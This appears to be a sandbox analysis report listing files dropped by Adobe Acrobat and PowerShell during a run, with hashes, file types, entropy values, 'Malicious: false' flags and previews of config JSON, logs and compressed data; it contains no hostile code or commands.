MD5:	92612F27F6E7FEE9613393ACF8ECD273
SHA1:	5C699FF1BF965C385F9E98A5577098870346D088
SHA-256:	A0673E7397B702F2B4E66FA54E1E156EFFFCAFEEDDFBE7B6A44F9B680E645992
SHA-512:	AF64CAD8A7C208ACB74D5DCFF431DD4A08454930F6E8366300C424F7D4F94FE7A0D844D0B2F43D2173B3ACE3549C6FE8E58FB9FE59BBE5D1689D7EBA38F27A0F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.286715334133875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJf21rPeUkwRe9:YvXKXxNH2vR/ZwHASgG+16Ukee9
MD5:	7FCFF556C994D169D8D47F3AB12007E5
SHA1:	49940B6CD4C7CD7BF1724D8FD9488A64DD949703
SHA-256:	7E4689132CE30B4A7CB760025E8A44F2E978C548B60220DAA887CBEE9F33FB3E
SHA-512:	5AB120022F70D75A3665990420A9286B6261A3583F18F3F78232B0F47869E8CF0B7CD5CD99F3A99C8A90701D2FB7FDC08D88AE6A4B8052223B06A7B08D76FF2D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.670767677154359
Encrypted:	false
SSDEEP:	24:Yv6XxNWJhqamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSln:YvmWJhkBgkDMUJUAh8cvMln
MD5:	7335F12ECC84971C22C758DB7898CDE6
SHA1:	A814D4D2A9B21C7559C20E06406A96AA7DE9C5F7
SHA-256:	FF68C9C2366BA9CE157346952E39EC8CC8819FCCDA9856CBBD5EA4C9F7C46149
SHA-512:	B28F8CE89261192117A505C4C0117E7DD6926606701C6B40DEE6D449AACFCD26B2509A8D2D5864A678887D1BAFF0E4300518C5F60A5A347CE4CD9277D8B817DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.262054593961862
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJfshHHrPeUkwRe9:YvXKXxNH2vR/ZwHASgGUUUkee9
MD5:	924E6CB2AE5C2A2F5C31CF743B41C18F
SHA1:	D6378483F4EF755FA20CF27DA948BDCC66B4A8B6
SHA-256:	AD8B428FD6305BB4B44E3150D28C67445BE52361F73440EA9160BEF2C6D9011C
SHA-512:	17E6E6C55E1D6B4DB4D483CC1CBCB936A772D6B78C518E58428D4981377B9624A9CC1D517EA1C26CE496C27AB3F67606038033240A5478DD177850B60F7DFBD9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.278050247782697
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnTtNH2vB3/dVlPIHAR0YadfoAvJTqgFCrPeUkwRe9:YvXKXxNH2vR/ZwHASgGTq16Ukee9
MD5:	DE2D8579460ABD785861FAB5C7209A78
SHA1:	1F8634EB46D482AB77A62C09FF5EEB91C93AFA4A
SHA-256:	FBA71495E7BD838D3AF84A91FB7C1934637AC33BA2C4BBE518CF1AD23818F6DA
SHA-512:	EFC788D6C4B94B5CA68EAEA578297737E7E35EFE7F0C014F8DAD037106A4A6B632027DE6D26B28362C2DDBF1D0600A13840C03ABA4843E0AC979630E06C285E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eb955750-7298-42b3-9b1a-b06a13bc473d","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736729287854,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143806221183869
Encrypted:	false
SSDEEP:	48:YZwVQCmrBWBVWPafU23eqZ8qesRzMoRoRN9BD:nQCFTU23eqZZB9RQzBD
MD5:	79537F0CB95B6EB9371BE347345D5F68
SHA1:	9864CDAE50F3BFE92161DA0C8B7B2FC607D3427A
SHA-256:	CA3B8D2EDCF41E4AF3A38F955524C1AAD0B25D49A24C453A6A5EB8234813903E
SHA-512:	1E58F447A7449CB21C223FC80BA802DA51B9F6AE2AE3BF87A172E193348B0531B92E746D6339D4BCD7C845A161514EC9EE7149EE181CA8D6FBC099A548B94DCA
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9c6c139b5e1878b2eddd800bc8a0c2b7","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736552948000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6573bbee5a98912cb77e9ca47044844f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736552948000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d395e0d6d5d92a9f05eb55c4395489e7","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736552948000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ea19ff82318ae357b99de388b0d7bf46","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736552948000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"1493255d61a1267892a51d6bd9a9c3a4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736552948000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0c45f4fdf464b85342c488afd0bd0d96","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3197086880069864
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe9tqVpag:TGufl2GL7ms9WR1CPmPbPahrypilIV
MD5:	67D893A6AB71D678D586B9D43100AB37
SHA1:	DC7F3793E2DA91BA6A70AD40246A6B71C248122C
SHA-256:	C5A5EF70F3C725E19481F2E58099044943C84F6042B5496B9DF0050169663E15
SHA-512:	57507741392E853AC21720420CFA7F45834216D892672EB76E71655F68276665DDE0ACA51962C8729B63AB2C69F2893266EE6BCAA45B10C57B3669961F937057
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7784557318833036
Encrypted:	false
SSDEEP:	24:7+t7Wlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMe94qVpaVrScVr0InnnqLhx+:7MBWR1CPmPbPah6ypilICqFl2GL7msw
MD5:	48CC77D06E27559417FC130A67D06AE5
SHA1:	CE164C8C63383C0F0FAE6D0C8F6D0EE8DBB9C0DE
SHA-256:	3FAE8003924CB5841EE7B787615ADA36AEB85288A6069A8B72BD7F70912A1C5E
SHA-512:	21358D6011A0B1B9863CF293421BA244D8F497CC1FDD362794CF4AA700874116F9EC122956665FA87BCF96F5C321BEEA7FB9CADFF7FDC49C60919E559103EA07
Malicious:	false
Preview:	.... .c.....5.iE..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgwalzKA80EBzHxdqR+43jnd2l1OYyu:6a6TZ44ADEwalzKx0EVRmEAK
MD5:	4857488818ACAC3AEE54224685D35124
SHA1:	1F60DBEB33D14BEE70D7222FEADCC27B89A1FE38
SHA-256:	F518EB45DDA94BE1CAEB4A9B19EBFD12F3A77C9C1C638F41C300771255BE4121
SHA-512:	610922C9CF39AEA3495AA9FE51E20C800473F1A40273ED46C55293FDB4C49C0298DD22574DAA1F9C1F969BB6FAFC50199FD6A91D2845ECBBE23C8CB4BFB4A553
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI33e9b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEF4t:Qw946cPbiOxDlbYnuRK+bDmt
MD5:	238A40BBDDB063AE24304FD7EFABD2B0
SHA1:	A125DA0061F9FEE2E395BADF77E82BB9EE544117
SHA-256:	8ABA1DA0D436B33957004B876884246F0CB5CEFC196D1E89FA3C820AC3E44971
SHA-512:	C2AACF08545661C032BDF8209BB856204D6C042B1B959DEEEDCE408A652C6DB6F0EB7B254ED837F446873CBDD32B28193678A5F3D2CD7E63DEC5AF1686FFBB39
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.8.:.4.9.:.0.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0qvqmmgv.r1d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zmavndyl.akt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 18-49-00-396.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.371367276705629
Encrypted:	false
SSDEEP:	384:8DZmhPwT/oRKZzAhljhnFFodpKHXwSi1pC5jN1DeI37rJABSct+wkJk58CQ7Iv3x:gk4
MD5:	CC5766AC7FFEB02DAB779C50B5F495C2
SHA1:	3A45EF9364877FB181E497627A34D1DB5542DD56
SHA-256:	7B340B6A2FAFB95F058A7AA32FC29DE37168CED4D169976F089137D50EAB0835
SHA-512:	0B3086023C6E053FBF68D57E64CF4824EE6FFF15BD9A8A6D43FCAEAB0FB267F7B7EF647580C4205594FEF706817E271B61CB498FFA1E8A4C5CA79F34406AF9B0
Malicious:	false
Preview:	SessionID=8bf19aa4-283a-4049-b063-f9fd56802d8c.1736552940434 Timestamp=2025-01-10T18:49:00:434-0500 ThreadID=7760 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8bf19aa4-283a-4049-b063-f9fd56802d8c.1736552940434 Timestamp=2025-01-10T18:49:00:436-0500 ThreadID=7760 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8bf19aa4-283a-4049-b063-f9fd56802d8c.1736552940434 Timestamp=2025-01-10T18:49:00:436-0500 ThreadID=7760 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8bf19aa4-283a-4049-b063-f9fd56802d8c.1736552940434 Timestamp=2025-01-10T18:49:00:436-0500 ThreadID=7760 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8bf19aa4-283a-4049-b063-f9fd56802d8c.1736552940434 Timestamp=2025-01-10T18:49:00:436-0500 ThreadID=7760 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.409810947433044
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbuYcbCIXzcbUk:ceo4+rsCApXbk
MD5:	C93686E5C30398ED4960F3FEE0B46399
SHA1:	88D6A88AF3D60CF8BC478B30EEA10FFD975A619D
SHA-256:	2FBF2F74A3988AF3E6C219AB183C0DC8DF881241333FADC4E3ADBCD45F7C51D5
SHA-512:	2710740B878941CBF57B1650B51536D8B4C34C82D14073FA3867DB3D206414202963E984F1803369AC2F89A4E83BE567130360E4E39E3432E211FDA2DBB4E70C
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\21c874cc-f452-4652-9890-322cf00fc292.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\edac4034-913a-48db-9d5e-93bab4a9dfba.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f37faffc-ef06-4290-97bd-8fdfeadca765.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
